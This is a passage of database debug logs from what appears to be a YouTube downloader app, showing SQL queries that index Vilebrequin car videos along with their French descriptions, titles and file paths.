(date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-30 17:15:01Z], 1] 07:43:34.773 [debug] QUERY OK source="media_items" db=3.9ms queue=0.1ms idle=46.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "On prend un ROND POINT à 160KM/H", "c1a4ce17-9186-4273-89d3-4943cad4cc82", "HfuNf9F0Ivc", 2156, false, "https://www.youtube.com/watch?v=HfuNf9F0Ivc", 2, "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", false, false, false, 1, [], 98, ~U[2023-11-30 17:15:01Z], ~U[2026-04-20 05:43:34Z], ~U[2026-04-20 05:43:34Z], "Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "On prend un ROND POINT à 160KM/H", "HfuNf9F0Ivc", 2156, false, "https://www.youtube.com/watch?v=HfuNf9F0Ivc", "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", false, 1, ~U[2023-11-30 17:15:01Z]] 07:43:34.774 [debug] QUERY OK source="sources" db=1.1ms idle=47.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:34.780 [debug] QUERY OK source="media_items" db=4.8ms queue=0.1ms idle=14.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-23 17:15:02Z], 1] 07:43:34.821 [debug] QUERY OK source="media_items" db=38.9ms queue=0.4ms idle=18.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "0795d6e6-f784-497b-96c1-1c820dd6d284", "_VF035IyZwg", 1633, false, "https://www.youtube.com/watch?v=_VF035IyZwg", 3, "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", false, false, false, 1, [], 98, ~U[2023-11-23 17:15:02Z], ~U[2026-04-20 05:43:34Z], ~U[2026-04-20 05:43:34Z], "Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "_VF035IyZwg", 1633, false, "https://www.youtube.com/watch?v=_VF035IyZwg", "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", false, 1, ~U[2023-11-23 17:15:02Z]] 07:43:34.823 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=54.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:34.829 [debug] QUERY OK source="media_items" db=5.5ms queue=0.1ms idle=51.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-16 17:15:01Z], 1] 07:43:34.833 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=55.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "VULTECH Aston Martin : 18 faillites et toujours debout", "307d7182-4514-4c26-a498-420d9dc0c256", "AVcqMUjoRFQ", 2666, false, "https://www.youtube.com/watch?v=AVcqMUjoRFQ", 4, "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", false, false, false, 1, [], 98, ~U[2023-11-16 17:15:01Z], ~U[2026-04-20 05:43:34Z], ~U[2026-04-20 05:43:34Z], "Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "VULTECH Aston Martin : 18 faillites et toujours debout", "AVcqMUjoRFQ", 2666, false, "https://www.youtube.com/watch?v=AVcqMUjoRFQ", "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", false, 1, ~U[2023-11-16 17:15:01Z]] 07:43:34.835 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=54.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:34.840 [debug] QUERY OK source="media_items" db=4.2ms queue=0.1ms idle=15.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-09 17:15:02Z], 1] 07:43:34.999 [debug] QUERY OK source="media_items" db=157.4ms queue=0.1ms idle=17.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "Essai Nissan GTR R34 : Rapide et furieuse", "fbd68374-8502-4448-880e-87f24a77ad55", "yUaxmvK1qyY", 2047, false, "https://www.youtube.com/watch?v=yUaxmvK1qyY", 5, "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", false, false, false, 1, [], 98, ~U[2023-11-09 17:15:02Z], ~U[2026-04-20 05:43:34Z], ~U[2026-04-20 05:43:34Z], "Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "Essai Nissan GTR R34 : Rapide et furieuse", "yUaxmvK1qyY", 2047, false, "https://www.youtube.com/watch?v=yUaxmvK1qyY", "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", false, 1, ~U[2023-11-09 17:15:02Z]] 07:43:35.001 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=170.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.006 [debug] QUERY OK source="media_items" db=4.7ms queue=0.1ms idle=168.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-02 17:15:01Z], 1] 07:43:35.010 [debug] QUERY OK source="media_items" db=2.9ms idle=171.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "989ca51f-4ad3-4d0c-ab12-4ab94070dbd5", "dE7aHyX_0PY", 2449, false, "https://www.youtube.com/watch?v=dE7aHyX_0PY", 6, "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", false, false, false, 1, [], 98, ~U[2023-11-02 17:15:01Z], ~U[2026-04-20 05:43:35Z], ~U[2026-04-20 05:43:35Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "dE7aHyX_0PY", 2449, false, "https://www.youtube.com/watch?v=dE7aHyX_0PY", "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", false, 1, ~U[2023-11-02 17:15:01Z]] 07:43:35.012 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=170.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:35.018 [debug] QUERY OK source="media_items" db=5.4ms idle=14.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-26 16:15:00Z], 1] 07:43:35.053 [debug] QUERY OK source="media_items" db=30.9ms queue=1.7ms idle=18.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 